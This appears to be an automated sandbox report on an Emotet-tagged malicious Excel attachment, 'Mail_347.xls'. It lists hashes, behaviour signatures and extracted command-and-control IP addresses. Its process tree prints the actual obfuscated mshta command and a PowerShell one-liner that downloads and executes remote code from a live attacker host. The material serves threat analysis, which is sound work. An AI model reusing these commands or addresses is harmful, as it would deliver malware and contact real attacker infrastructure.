Analysis
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max time kernel
121s -
max time network
147s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 00:43
Behavioral task
behavioral1
Sample
Mail_347.xls
Resource
win7-en-20211208
General
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Target
Mail_347.xls
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Size
35KB
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MD5
8458c413f6ed239f7c77573c55633fc3
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SHA1
52ccb9dc2a40d840b8c29bbfcf08999e965c4525
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SHA256
b2f6aa465b36b4554a56926b682f14f9d3cb5d82756d4207c2361839092beb07
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SHA512
a3db38e95fb8c5ef81be3fd08afe43942e4c20d7c902cb7d91d790ba854b66e041864684d39bb0343a58bc4feb7a1773fcba5ffa0162bdfd05593e6983c3155e
Malware Config
Extracted
http://91.240.118.168/oo/aa/se.html
Extracted
http://91.240.118.168/oo/aa/se.png
Extracted
emotet
Epoch5
159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1904 2692 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 36 2184 mshta.exe 42 2664 powershell.exe 44 2664 powershell.exe 46 2664 powershell.exe 51 3772 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 1812 rundll32.exe 1792 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Ofhjdfygjfmijq\ugmnkjaan.fdk rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 644 2184 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2692 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 2664 powershell.exe 2664 powershell.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 644 WerFault.exe 2664 powershell.exe 3772 rundll32.exe 3772 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2664 powershell.exe Token: SeDebugPrivilege 644 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE 2692 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 2692 wrote to memory of 1904 2692 EXCEL.EXE CMD.EXE PID 2692 wrote to memory of 1904 2692 EXCEL.EXE CMD.EXE PID 1904 wrote to memory of 2184 1904 CMD.EXE mshta.exe PID 1904 wrote to memory of 2184 1904 CMD.EXE mshta.exe PID 2184 wrote to memory of 2664 2184 mshta.exe powershell.exe PID 2184 wrote to memory of 2664 2184 mshta.exe powershell.exe PID 2664 wrote to memory of 2332 2664 powershell.exe cmd.exe PID 2664 wrote to memory of 2332 2664 powershell.exe cmd.exe PID 2332 wrote to memory of 1812 2332 cmd.exe rundll32.exe PID 2332 wrote to memory of 1812 2332 cmd.exe rundll32.exe PID 2332 wrote to memory of 1812 2332 cmd.exe rundll32.exe PID 1812 wrote to memory of 1792 1812 rundll32.exe rundll32.exe PID 1812 wrote to memory of 1792 1812 rundll32.exe rundll32.exe PID 1812 wrote to memory of 1792 1812 rundll32.exe rundll32.exe PID 1792 wrote to memory of 3700 1792 rundll32.exe rundll32.exe PID 1792 wrote to memory of 3700 1792 rundll32.exe rundll32.exe PID 1792 wrote to memory of 3700 1792 rundll32.exe rundll32.exe PID 3700 wrote to memory of 3772 3700 rundll32.exe rundll32.exe PID 3700 wrote to memory of 3772 3700 rundll32.exe rundll32.exe PID 3700 wrote to memory of 3772 3700 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Mail_347.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/oo/aa/se.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ofhjdfygjfmijq\ugmnkjaan.fdk",qFWZXPXCgEswrpK8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ofhjdfygjfmijq\ugmnkjaan.fdk",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2184 -s 17084⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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\ProgramData\QWER.dllMD5
d7653fa9b638f6d41d1f76ed3025a875
SHA1f6207008ab3abf05e7b99d5c43d39abd4823fa35
SHA2561d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e
SHA512393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10
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memory/1792-345-0x0000000004EA0000-0x0000000004EC7000-memory.dmpFilesize
156KB
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memory/1792-342-0x0000000004D10000-0x0000000004D37000-memory.dmpFilesize
156KB
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memory/1792-340-0x0000000004CB0000-0x0000000004CD7000-memory.dmpFilesize
156KB
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memory/1792-338-0x0000000004C50000-0x0000000004C77000-memory.dmpFilesize
156KB
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memory/1792-336-0x0000000004B70000-0x0000000004B97000-memory.dmpFilesize
156KB
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memory/1792-334-0x0000000004A90000-0x0000000004AB7000-memory.dmpFilesize
156KB
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memory/2664-274-0x0000022154630000-0x0000022154632000-memory.dmpFilesize
8KB
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memory/2664-295-0x000002216C8F0000-0x000002216C92C000-memory.dmpFilesize
240KB
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memory/2664-306-0x000002216CCF0000-0x000002216CD66000-memory.dmpFilesize
472KB
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memory/2664-311-0x0000022154636000-0x0000022154638000-memory.dmpFilesize
8KB
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memory/2664-276-0x000002216C680000-0x000002216C6A2000-memory.dmpFilesize
136KB
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memory/2664-275-0x0000022154633000-0x0000022154635000-memory.dmpFilesize
8KB
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memory/2692-121-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-130-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmpFilesize
64KB
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memory/2692-117-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-120-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-119-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-385-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-131-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmpFilesize
64KB
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memory/2692-384-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-383-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/2692-382-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmpFilesize
64KB
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memory/3700-344-0x0000000004E30000-0x0000000004E57000-memory.dmpFilesize
156KB
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memory/3772-350-0x0000000004CD0000-0x0000000004CF7000-memory.dmpFilesize
156KB
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memory/3772-348-0x0000000002E80000-0x0000000002EA7000-memory.dmpFilesize
156KB